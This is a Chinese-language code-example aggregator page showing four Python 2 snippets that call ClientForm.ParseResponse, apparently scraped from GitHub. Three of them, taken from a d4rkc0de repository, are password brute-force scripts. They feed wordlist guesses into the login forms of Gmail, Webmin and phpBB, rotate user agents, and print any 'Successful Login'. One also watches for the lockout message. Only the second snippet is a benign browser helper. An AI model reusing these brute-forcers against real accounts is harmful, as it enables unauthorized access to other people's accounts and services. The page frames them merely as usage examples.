當前位置: 首頁>>代碼示例>>Python>>正文


Python ClientForm.ParseResponse方法代碼示例

本文整理匯總了Python中ClientForm.ParseResponse方法的典型用法代碼示例。如果您正苦於以下問題:Python ClientForm.ParseResponse方法的具體用法?Python ClientForm.ParseResponse怎麽用?Python ClientForm.ParseResponse使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在ClientForm的用法示例。


在下文中一共展示了ClientForm.ParseResponse方法的4個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: run

# 需要導入模塊: import ClientForm [as 別名]
# 或者: from ClientForm import ParseResponse [as 別名]
def run(self):
		global success
		value = getword()
		try:
			print "-"*12
			print "User:",sys.argv[1],"Password:",value
			cookieJar = ClientCookie.CookieJar()
			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
			opener.addheaders = [("User-agent","Mozilla/5.0 (compatible)")]
			ClientCookie.install_opener(opener)
			fp = ClientCookie.urlopen("https://www.gmail.com/")
			forms = ClientForm.ParseResponse(fp)
			form = forms[0]
			form["Email"]  = sys.argv[1] 
			form["Passwd"] = value      
			fp = ClientCookie.urlopen(form.click())
			site = fp.readlines()
			for line in site:
				if re.search("Gmail - Inbox", line):
					print "\tSuccessful Login:", value
					success =  value
					sys.exit(1)
			fp.close()
		except(socket.gaierror), msg: 
			pass 
開發者ID:knightmare2600,項目名稱:d4rkc0de,代碼行數:27,代碼來源:gmailbrute.py

示例2: get_forms

# 需要導入模塊: import ClientForm [as 別名]
# 或者: from ClientForm import ParseResponse [as 別名]
def get_forms(self):
        """Returns all forms in the current document.
        The returned form objects implement the ClientForm.HTMLForm interface.
        """
        if self._forms is None:
            import ClientForm
            self._forms = ClientForm.ParseResponse(self.get_response(), backwards_compat=False)
        return self._forms 
開發者ID:joxeankoret,項目名稱:nightmare,代碼行數:10,代碼來源:browser.py

示例3: run

# 需要導入模塊: import ClientForm [as 別名]
# 或者: from ClientForm import ParseResponse [as 別名]
def run(self):
		global success
		value = getword()
		try:
			print "-"*12
			print "User:",sys.argv[2],"Password:",value
			cookieJar = ClientCookie.CookieJar()
			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
			opener.addheaders = [("User-agent", random.sample(headers,  1)[0])]
			ClientCookie.install_opener(opener)
			fp = ClientCookie.urlopen(sys.argv[1])
			forms = ClientForm.ParseResponse(fp)
			form = forms[0]
			form["user"] = sys.argv[2] 
			form["pass"] = value      
			fp = ClientCookie.urlopen(form.click())
			site = fp.readlines()
			for line in site:
				if re.search("Login failed.", line.lower()) != None:
					print "\tSuccessful Login:", value
					success =  value
					sys.exit(1)
			fp.close()
		except(socket.gaierror, urllib2.HTTPError), msg: 
			print msg 
			pass 
開發者ID:knightmare2600,項目名稱:d4rkc0de,代碼行數:28,代碼來源:webminbrute.py

示例4: run

# 需要導入模塊: import ClientForm [as 別名]
# 或者: from ClientForm import ParseResponse [as 別名]
def run(self):
		global success
		value = getword()
		try:
			print "-"*12
			print "User:",sys.argv[2],"Password:",value
			cookieJar = ClientCookie.CookieJar()
			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
			opener.addheaders = [("User-agent", random.sample(headers,  1)[0])]
			ClientCookie.install_opener(opener)
			fp = ClientCookie.urlopen(sys.argv[1])
			forms = ClientForm.ParseResponse(fp)
			form = forms[0]
			form["username"] = sys.argv[2] 
			form["password"] = value      
			fp = ClientCookie.urlopen(form.click())
			site = fp.readlines()
			for line in site:
				if re.search("invalid password", line.lower()) != None:
					print "\tSuccessful Login:", value
					print line
					success =  value
					sys.exit(1)
				if re.search("The maximum number of 5 login attempts has been exceeded.",line):
					print "Attempts exceeded" 
			fp.close()
		except(socket.gaierror), msg: 
			pass 
開發者ID:knightmare2600,項目名稱:d4rkc0de,代碼行數:30,代碼來源:phpBBbrute.py


注:本文中的ClientForm.ParseResponse方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。